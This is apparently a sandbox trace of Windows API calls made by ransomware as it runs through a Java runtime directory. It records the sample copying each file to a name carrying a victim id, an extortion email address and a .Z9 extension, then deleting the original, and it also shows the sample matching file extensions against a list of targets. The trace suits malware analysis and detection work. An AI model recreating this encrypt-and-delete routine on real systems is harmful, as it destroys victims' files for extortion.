	[0096.299] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.300] GetLastError () returned 0x0
	[0096.300] ReadFile (in: hFile=0x35c, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x101a, lpOverlapped=0x0) returned 1
	[0096.307] WriteFile (in: hFile=0x384, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x1020, lpOverlapped=0x0) returned 1
	[0096.308] ReadFile (in: hFile=0x35c, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.308] WriteFile (in: hFile=0x384, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xee, lpOverlapped=0x0) returned 1
	[0096.308] SetEndOfFile (hFile=0x384) returned 1
	[0096.308] CloseHandle (hObject=0x384) returned 1
	[0096.308] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.308] SetEndOfFile (hFile=0x35c) returned 1
	[0096.309] CloseHandle (hObject=0x35c) returned 1
	[0096.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.309] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 1
	[0096.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0096.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0096.309] lstrlenW (lpString=".doc") returned 4
	[0096.309] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1
	[0096.309] lstrlenW (lpString=".docx") returned 5
	[0096.309] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1
	[0096.309] lstrlenW (lpString=".pdf") returned 4
	[0096.309] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1
	[0096.309] lstrlenW (lpString=".xls") returned 4
	[0096.309] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1
	[0096.309] lstrlenW (lpString=".xlsx") returned 5
	[0096.309] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1
	[0096.309] lstrlenW (lpString=".ppt") returned 4
	[0096.310] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1
	[0096.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0096.310] lstrlenW (lpString=".zip") returned 4
	[0096.310] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1
	[0096.310] lstrlenW (lpString=".rar") returned 4
	[0096.310] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1
	[0096.310] lstrlenW (lpString=".bz2") returned 4
	[0096.310] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1
	[0096.310] lstrlenW (lpString=".7z") returned 3
	[0096.310] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1
	[0096.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0096.310] lstrlenW (lpString=".dbf") returned 4
	[0096.310] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1
	[0096.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0096.310] lstrlenW (lpString=".1cd") returned 4
	[0096.310] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1
	[0096.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0096.310] lstrlenW (lpString=".jpg") returned 4
	[0096.310] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1
	[0096.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0096.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0096.310] lstrlenW (lpString=".doc") returned 4
	[0096.310] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1
	[0096.310] lstrlenW (lpString=".docx") returned 5
	[0096.310] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1
	[0096.310] lstrlenW (lpString=".pdf") returned 4
	[0096.310] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1
	[0096.310] lstrlenW (lpString=".xls") returned 4
	[0096.310] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1
	[0096.310] lstrlenW (lpString=".xlsx") returned 5
	[0096.310] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1
	[0096.310] lstrlenW (lpString=".ppt") returned 4
	[0096.310] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1
	[0096.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0096.311] lstrlenW (lpString=".zip") returned 4
	[0096.311] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1
	[0096.311] lstrlenW (lpString=".rar") returned 4
	[0096.311] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1
	[0096.311] lstrlenW (lpString=".bz2") returned 4
	[0096.311] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1
	[0096.311] lstrlenW (lpString=".7z") returned 3
	[0096.311] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1
	[0096.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0096.311] lstrlenW (lpString=".dbf") returned 4
	[0096.311] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1
	[0096.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0096.311] lstrlenW (lpString=".1cd") returned 4
	[0096.311] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1
	[0096.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0096.311] lstrlenW (lpString=".jpg") returned 4
	[0096.311] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1
	[0096.311] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0096.311] lstrlenW (lpString="messages.properties") returned 19
	[0096.311] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.311] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=2860) returned 1
	[0096.311] CloseHandle (hObject=0x35c) returned 1
	[0096.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 0x20
	[0096.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.312] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.312] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.312] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.312] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.312] GetLastError () returned 0x0
	[0096.312] ReadFile (in: hFile=0x35c, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0xb2c, lpOverlapped=0x0) returned 1
	[0096.323] WriteFile (in: hFile=0x384, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xb30, lpOverlapped=0x0) returned 1
	[0096.324] ReadFile (in: hFile=0x35c, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.324] WriteFile (in: hFile=0x384, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xfa, lpOverlapped=0x0) returned 1
	[0096.324] SetEndOfFile (hFile=0x384) returned 1
	[0096.324] CloseHandle (hObject=0x384) returned 1
	[0096.324] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.324] SetEndOfFile (hFile=0x35c) returned 1
	[0096.325] CloseHandle (hObject=0x35c) returned 1
	[0096.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.325] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 1
	[0096.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0096.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0096.326] lstrlenW (lpString=".doc") returned 4
	[0096.326] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.326] lstrlenW (lpString=".docx") returned 5
	[0096.326] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.326] lstrlenW (lpString=".pdf") returned 4
	[0096.326] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.326] lstrlenW (lpString=".xls") returned 4
	[0096.326] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.326] lstrlenW (lpString=".xlsx") returned 5
	[0096.326] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.326] lstrlenW (lpString=".ppt") returned 4
	[0096.326] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0096.326] lstrlenW (lpString=".zip") returned 4
	[0096.326] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.326] lstrlenW (lpString=".rar") returned 4
	[0096.326] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.326] lstrlenW (lpString=".bz2") returned 4
	[0096.326] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.326] lstrlenW (lpString=".7z") returned 3
	[0096.326] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0096.326] lstrlenW (lpString=".dbf") returned 4
	[0096.327] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0096.327] lstrlenW (lpString=".1cd") returned 4
	[0096.327] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0096.327] lstrlenW (lpString=".jpg") returned 4
	[0096.327] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0096.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0096.327] lstrlenW (lpString=".doc") returned 4
	[0096.327] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.327] lstrlenW (lpString=".docx") returned 5
	[0096.327] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.327] lstrlenW (lpString=".pdf") returned 4
	[0096.327] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.327] lstrlenW (lpString=".xls") returned 4
	[0096.327] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.327] lstrlenW (lpString=".xlsx") returned 5
	[0096.327] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.327] lstrlenW (lpString=".ppt") returned 4
	[0096.327] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0096.327] lstrlenW (lpString=".zip") returned 4
	[0096.327] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.327] lstrlenW (lpString=".rar") returned 4
	[0096.327] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.842] lstrlenW (lpString=".bz2") returned 4
	[0096.842] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.842] lstrlenW (lpString=".7z") returned 3
	[0096.842] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0096.842] lstrlenW (lpString=".dbf") returned 4
	[0096.842] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0096.842] lstrlenW (lpString=".1cd") returned 4
	[0096.843] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0096.843] lstrlenW (lpString=".jpg") returned 4
	[0096.843] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.843] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0096.843] lstrlenW (lpString="jaccess.jar") returned 11
	[0096.843] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0096.844] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=44516) returned 1
	[0096.844] CloseHandle (hObject=0x338) returned 1
	[0096.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20
	[0096.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.844] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0096.844] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.844] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.844] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0096.845] GetLastError () returned 0x0
	[0096.845] ReadFile (in: hFile=0x338, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0xade4, lpOverlapped=0x0) returned 1
	[0096.856] WriteFile (in: hFile=0x2b8, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xadf0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xadf0, lpOverlapped=0x0) returned 1
	[0097.496] ReadFile (in: hFile=0x338, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.496] WriteFile (in: hFile=0x2b8, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xea, lpOverlapped=0x0) returned 1
	[0097.496] SetEndOfFile (hFile=0x2b8) returned 1
	[0097.496] CloseHandle (hObject=0x2b8) returned 1
	[0097.496] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.496] SetEndOfFile (hFile=0x338) returned 1
	[0097.497] CloseHandle (hObject=0x338) returned 1
	[0097.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0097.497] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 1
	[0097.498] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0097.498] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0097.498] lstrlenW (lpString=".doc") returned 4
	[0097.498] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0097.498] lstrlenW (lpString=".docx") returned 5
	[0097.498] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0097.498] lstrlenW (lpString=".pdf") returned 4
	[0097.498] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0097.498] lstrlenW (lpString=".xls") returned 4
	[0097.498] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0097.498] lstrlenW (lpString=".xlsx") returned 5
	[0097.498] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0097.498] lstrlenW (lpString=".ppt") returned 4
	[0097.498] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0097.498] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0097.498] lstrlenW (lpString=".zip") returned 4
	[0097.498] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0097.498] lstrlenW (lpString=".rar") returned 4
	[0097.498] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0097.498] lstrlenW (lpString=".bz2") returned 4
	[0097.498] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0097.499] lstrlenW (lpString=".7z") returned 3
	[0097.499] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0097.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0097.499] lstrlenW (lpString=".dbf") returned 4
	[0097.499] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0097.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0097.499] lstrlenW (lpString=".1cd") returned 4
	[0097.499] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0097.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0097.499] lstrlenW (lpString=".jpg") returned 4
	[0097.499] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0097.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0097.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0097.499] lstrlenW (lpString=".doc") returned 4
	[0097.499] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0097.499] lstrlenW (lpString=".docx") returned 5
	[0097.499] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0097.499] lstrlenW (lpString=".pdf") returned 4
	[0097.499] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0097.499] lstrlenW (lpString=".xls") returned 4
	[0097.499] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0097.499] lstrlenW (lpString=".xlsx") returned 5
	[0097.499] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0097.499] lstrlenW (lpString=".ppt") returned 4
	[0097.499] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0097.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0097.499] lstrlenW (lpString=".zip") returned 4
	[0097.499] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0097.499] lstrlenW (lpString=".rar") returned 4
	[0097.499] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0097.499] lstrlenW (lpString=".bz2") returned 4
	[0097.499] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0097.499] lstrlenW (lpString=".7z") returned 3
	[0097.499] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0097.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0097.499] lstrlenW (lpString=".dbf") returned 4
	[0097.500] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0097.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0097.500] lstrlenW (lpString=".1cd") returned 4
	[0097.500] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0097.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0097.500] lstrlenW (lpString=".jpg") returned 4
	[0097.500] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0097.500] lstrcmpiW (lpString1=".0_144\\lib\\ext\\meta-index", lpString2=".Z9") returned -1
	[0097.500] lstrlenW (lpString="meta-index") returned 10
	[0097.500] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0097.500] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=1461) returned 1
	[0097.500] CloseHandle (hObject=0x338) returned 1
	[0097.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 0x20
	[0097.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.501] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0097.501] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.501] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.501] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0097.501] GetLastError () returned 0x0
	[0097.501] ReadFile (in: hFile=0x338, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x5b5, lpOverlapped=0x0) returned 1
	[0097.505] WriteFile (in: hFile=0x2b8, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x5c0, lpOverlapped=0x0) returned 1
